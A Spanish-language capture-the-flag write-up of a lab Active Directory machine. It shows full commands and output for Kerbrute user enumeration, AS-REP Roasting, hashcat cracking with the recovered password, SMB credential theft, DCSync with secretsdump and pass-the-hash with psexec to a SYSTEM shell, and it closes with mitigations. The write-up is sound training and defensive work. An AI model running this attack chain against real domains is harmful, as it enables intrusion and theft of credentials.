Maquina AttacktiveDirectory

Introducción

La máquina *Attacktive Directory* simula un entorno basado en Active Directory, ofreciendo un escenario para practicar técnicas de enumeración, explotación y movimiento lateral en redes Windows. Durante el proceso, se pone a prueba la capacidad de identificar usuarios válidos, explotar vulnerabilidades como **AS-REP Roasting**, realizar **fuerza bruta de credenciales**, acceder a **recursos compartidos SMB** y, posteriormente, escalar privilegios hasta el control total del dominio.

Enumeración de Puertos

Iniciamos el análisis con un escaneo agresivo usando Nmap para identificar todos los puertos abiertos, servicios y versiones en la máquina objetivo:

```
Nmap 7.95 scan initiated Wed Aug  6 18:07:12 2025 as: /usr/lib/nmap/nmap --
privileged -sV -sS -Pn -p- -sC --min-rate 3000 -oN puertos.txt 10.201.110.217
Nmap scan report for 10.201.110.217
Host is up (0.23s latency).
Not shown: 65509 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-
08-06 23:07:44Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain:
spookysec.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:
spookysec.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
```

```
| rdp-ntlm-info:
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|   Product_Version: 10.0.17763
|_  System_Time: 2025-08-06T23:08:42+00:00
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2025-08-05T23:06:28
|_Not valid after:  2026-02-04T23:06:28
|_ssl-date: 2025-08-06T23:08:51+00:00; -1s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  msrpc         Microsoft Windows RPC
49695/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE:
cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-08-06T23:08:44
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
```

Servicios relevantes descubiertos:

- **HTTP (80)** – Microsoft IIS 10.0
- **Kerberos (88)** – Servicio esencial de autenticación en AD

- **LDAP (389 / 3268)** – Acceso a Active Directory
- **SMB (139, 445)** – Compartición de archivos en red
- **RDP (3389)** – Escritorio remoto habilitado
- **WinRM (5985)** – Acceso remoto vía PowerShell
- **DNS (53)** – Simple DNS Plus

Además, mediante el script `rdp-ntlm-info`, se reveló información valiosa sobre el dominio:

```
NetBIOS_Domain_Name: THM-AD
DNS_Domain_Name: spookysec.local
DNS_Computer_Name: AttacktiveDirectory.spookysec.local
```

Esto confirma que se trata de una máquina unida a un **dominio Active Directory**, lo cual nos permite enfocar el análisis en vectores como **Kerberos, LDAP y SMB**

Enumeración de Usuarios – Kerberos (User Enumeration)

Sabíamos que el puerto 88 estaba abierto (Kerberos), lo cual nos permitió intentar una enumeración de usuarios con `kerbrute`, una herramienta diseñada para esta tarea.

```
┌──(zikuta㉿zikuta)-[~/Desktop/attacktivead]
└─$ kerbrute/dist/kerbrute_linux_amd64 userenum -d spookysec.local  --dc
spookysec.local userlist.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (9cfb81e) - 08/07/25 - Ronnie Flathers @ropnop

2025/08/07 16:55:10 >  Using KDC(s):
2025/08/07 16:55:10 >   spookysec.local:88

2025/08/07 16:55:11 >  [+] VALID USERNAME:       james@spookysec.local
2025/08/07 16:55:15 >  [+] svc-admin has no pre auth required. Dumping hash to
crack offline:
$krb5asrep$18$svc-
admin@SPOOKYSEC.LOCAL:4a715e1dc9bc6364ba90eee87a6f96df$b2080c2b1079d206c97a100
bbcbea4b5e53f103e1cc256cffcd3666fbc7ca5aedabada2f7d2eac2356ce6ddbd1ade0cb7092b
c8fcb7b4c1880d6302159bd8122ecc5ea6a06107dec031c43bd9f8608b50db50de5cb7d29a41b3
```

```
13bd5c74778ffdcbcbfcb6e85daeafa813b7a74bab805e48a2a13e62f1cc83a140cb6b43b00b0b
619bceeabc5b0be5c5ce72c21a738ce6b1293a5b865933028d023d57c67fdc16b50d99cf16620e
fd7b0484ee6f086a7a2840919fe5b6cf11871a3dbc0889b8198777200837593f31fe6998fcd4e6
b6bf0d10c305aaa1b6cdd7fa2f6773ee9692a1b9eaa5721063770f2149eacd0a80525a75174fc7
af304ace3340c9ef9d98ebaf339e08
2025/08/07 16:55:15 >  [+] VALID USERNAME:       svc-admin@spookysec.local
2025/08/07 16:55:20 >  [+] VALID USERNAME:       James@spookysec.local
2025/08/07 16:55:22 >  [+] VALID USERNAME:       robin@spookysec.local
2025/08/07 16:55:42 >  [+] VALID USERNAME:       darkstar@spookysec.local
2025/08/07 16:55:54 >  [+] VALID USERNAME:       administrator@spookysec.local
2025/08/07 16:56:19 >  [+] VALID USERNAME:       backup@spookysec.local
2025/08/07 16:56:30 >  [+] VALID USERNAME:       paradox@spookysec.local
2025/08/07 16:57:44 >  [+] VALID USERNAME:       JAMES@spookysec.local
2025/08/07 16:58:08 >  [+] VALID USERNAME:       Robin@spookysec.local
```

Usuarios válidos encontrados:

```
james, robin, darkstar, administrator, backup, paradox, ori, svc-admin
```

Y lo más importante: el usuario `svc-admin` fue marcado como vulnerable a **AS-REP Roasting**:

```
svc-admin has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$svc-admin@SPOOKYSEC.LOCAL:...
```

Explicación técnica: Cuando una cuenta en AD tiene desactivada la opción `Do not require Kerberos preauthentication`, cualquier atacante puede solicitar un Ticket Granting Ticket (TGT) sin proporcionar contraseña. El KDC devuelve un mensaje cifrado con la clave del usuario, el cual puede ser crackeado offline por fuerza bruta.

Kerberos permite identificar usuarios válidos dependiendo de la respuesta que devuelve el KDC ante solicitudes de autenticación inválidas. Esto permite filtrar usuarios existentes en el dominio.

Cracking del Hash con Hashcat

Con el hash obtenido, procedimos a crackearlo con `hashcat` usando el modo `18200` (AS-REP etype 23):

```
┌──(zikuta㉿zikuta)-[~/Desktop/attacktivead]
└─$ hashcat -m 18200  hash.txt /usr/share/wordlists/rockyou.txt -O -w 3 --
force
hashcat (v6.2.6) starting
```

```
You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM
18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
================================================================================
================================================================
* Device #1: cpu-haswell-AMD Ryzen 5 7535HS with Radeon Graphics, 2898/5861 MB
(1024 MB allocatable), 3MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 31

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
admin@SPOOKYSEC.LOCAL:dbe3d29fbbb402c5d4c4fc1ae1275e57$0a3f38c17e8b9e7acbe527c
52108f4d06ea0e818f9f73e8fa18558f3856745eafc9a06f368c7b09f3dd5edb61efc03c4b3be1
37de5578ef8820df344c854966c70ad0c0b91d15fbd932b179cc1ab79b30ecc40d2148e5522c74
d82010a36ed4e2f0bc68982f09e69ec7eca3e38d599c913654a33dc38186b60ab6efff37b99e2e
0638fc35e63cc5e9adef991c531cd7d39588ccfa54308d7efc4d0ffc433c2fb367982b1b6a53ac
710c2440f890b17169b7e70c58a53c3e5a1f497a6f52c91ab75438e00286b0caf3f298301664c6
9b6e160db3a4b4b054b9d958ef8e6dafec07f09324e7731b6cae7abacef46f2a10b:PASSWORD

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$svc-
```

```
admin@SPOOKYSEC.LOCAL:dbe3d29fbbb...f2a10b
Time.Started.....: Wed Aug  6 20:11:44 2025, (8 secs)
Time.Estimated...: Wed Aug  6 20:11:52 2025, (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   864.9 kH/s (1.04ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 5837979/14344385 (40.70%)
Rejected.........: 1179/5837979 (0.02%)
Restore.Point....: 5836443/14344385 (40.69%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: manamexico -> man2119870
Hardware.Mon.#1..: Util: 70%
```

Resultado:

```
svc-admin@spookysec.local : management2005
```

Contraseña crackeada exitosamente: `management2005`

Esto nos proporciona **credenciales válidas de un usuario del dominio**, posiblemente con permisos elevados debido al nombre del usuario (`svc-admin` suele ser una cuenta de servicio o administración).

Acceso al recurso SMB y obtención de credenciales

Tras comprometer el usuario `svc-admin`, se procedió a autenticar contra el recurso compartido SMB del controlador de dominio.

Enumeracion de Shares

```
smbclient -L 10.201.48.249 -U svc-admin
```

Shares disponibles:

- `backup`
- `NETLOGON`
- `SYSVOL`
- `ADMIN$`
- `IPC$`
- `C$`

De estos, el recurso `backup` era accesible con las credenciales de `svc-admin`.

```
┌──(zikuta㉿zikuta)-[~/Desktop/attacktivead]
└─$ smbclient //10.201.48.249/backup -U svc-admin -p
Password for [WORKGROUP\svc-admin]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Apr  4 14:08:39 2020
  ..                                  D        0  Sat Apr  4 14:08:39 2020
  backup_credentials.txt              A       48  Sat Apr  4 14:08:53 2020
g
                8247551 blocks of size 4096. 3561732 blocks available
smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.0
KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> exit
```

Decodificación de credenciales

El contenido del archivo era una cadena codificada:

Esta cadena, al ser pasada por **CyberChef** usando el filtro `Magic`, reveló las credenciales en texto claro:

From_Base64('A-Za-z0-9._-',true,false)	backup@spookysec.local[redacted]	Matching ops: From Base85, From Hexdump Valid UTF8 Entropy: 4.20
	[redacted]eXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw	Matching ops: From Base64, From Base85 Valid UTF8 Entropy: 4.78

```
Usuario: backup@spookysec.local
Contraseña: ********
```

Técnica de **Pass-The-Hash** para extraer hashes del Dominio

Con las credenciales del usuario `backup`, se ejecutó la herramienta `impacket-secretsdump` utilizando la técnica `Pass-The-Hash`. Este usuario tenía privilegios suficientes para realizar una replicación del controlador de dominio y extraer los hashes de todos los usuarios.

```
┌──(zikuta㉿zikuta)-[~/Desktop/attacktivead]
└─$ impacket-secretsdump -just-dc-ntlm
```

```
spookysec.local/backup:*****@10.201.5.168
```

Resultado:
Se obtuvieron hashes NTLM válidos de usuarios del dominio, incluyendo:

```
Administrator:500:...:0e0363213e37b9422140bcb4fc:::
...
svc-admin:1114:...:fc0f1e5359e372aa1473ba6809:::
backup:1118:...:19741bde08e135f4b40f1a9a45538:::
```

Especial atención al hash de `Administrator`, que será utilizado para escalar privilegios y obtener acceso total al sistema.

Ejecución remota con **Pass-The-Hash** utilizando `psexec`

Con el hash del usuario `Administrator`, se empleó la herramienta `impacket-psexec` para obtener una shell con privilegios de SYSTEM sobre el DC.

```
┌──(zikuta㉿zikuta)-[~/Desktop/attacktivead]
└─$ impacket-psexec SPOOKYSEC.LOCAL/'Administrator'@10.201.5.168 -hashes
:0e0363213ecb4fc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 10.201.5.168.....
[*] Found writable share ADMIN$
[*] Uploading file YqDIXQBy.exe
[*] Opening SVCManager on 10.201.5.168.....
[*] Creating service TrRA on 10.201.5.168.....
[*] Starting service TrRA.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1490]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

Esto otorgó una shell remota completamente privilegiada sobre el sistema.

Conclusión de la máquina

El compromiso del dominio **spookysec.local** se logró a través de una cadena de vulnerabilidades y malas prácticas comunes en entornos Active Directory:

1. **Mala configuración de cuentas** que permitía ataques **AS-REP Roasting** (pre-autenticación Kerberos deshabilitada).
2. **Almacenamiento inseguro de credenciales** en recursos compartidos SMB accesibles a usuarios no privilegiados.
3. **Privilegios excesivos** otorgados a cuentas de servicio, en este caso `backup`, que podían replicar la base de datos del AD.
4. **Falta de protecciones contra Pass-The-Hash**, lo que permitió el uso de hashes NTLM para autenticación directa sin contraseñas.

Una vez encadenados estos fallos, fue posible escalar privilegios de un usuario de bajo nivel hasta **Domain Administrator** y tomar control total del dominio.

Tecnicas Utilizadas

Fase del ataque	Técnica utilizada	Descripción	Mitigación
Enumeración de usuarios	**User enumeration con Kerbrute**	Fuerza bruta de nombres de usuario para identificar cuentas válidas.	Restringir el error de autenticación, habilitar lockout policies y monitorear intentos fallidos.
Obtención inicial de credenciales	**AS-REP Roasting**	Extracción de hashes Kerberos de cuentas sin pre-autenticación y crackeo offline.	Habilitar Kerberos pre-authentication en todas las cuentas.
Acceso lateral	**SMB enumeration**	Listado y acceso a shares SMB con credenciales comprometidas.	Aplicar control de acceso granular a shares y auditar accesos.
Extracción de credenciales adicionales	**Archivo con credenciales en texto claro (Base64)**	Decodificación de contraseñas encontradas en un recurso compartido.	No almacenar contraseñas en texto plano o codificadas; usar gestores seguros.
Escalada de privilegios en AD	**DCSync con SecretsDump**	Solicitud de replicación del AD para extraer hashes NTLM de todos los usuarios.	Restringir privilegios de `Replicating Directory Changes` solo a controladores de dominio.
Movimiento lateral / acceso remoto	**Pass-The-Hash con PsExec**	Autenticación remota con hashes NTLM para obtener shell privilegiada.	Implementar Credential Guard, restringir NTLM, y segmentar administradores.

Recomendaciones generales

- **Endurecimiento de Active Directory:** Revisar periódicamente la configuración de cuentas de servicio y privilegios de replicación.
- **Políticas de contraseñas y autenticación:** Implementar contraseñas robustas, rotación periódica y habilitar MFA donde sea posible.
- **Segmentación de red:** Limitar el acceso a servicios administrativos solo desde estaciones seguras.
- **Auditorías periódicas:** Revisar accesos SMB, cambios en cuentas y privilegios administrativos.
- **Defensa contra Pass-The-Hash:** Activar Credential Guard y NTLMv2, así como restringir el uso de cuentas de administrador en hosts comunes.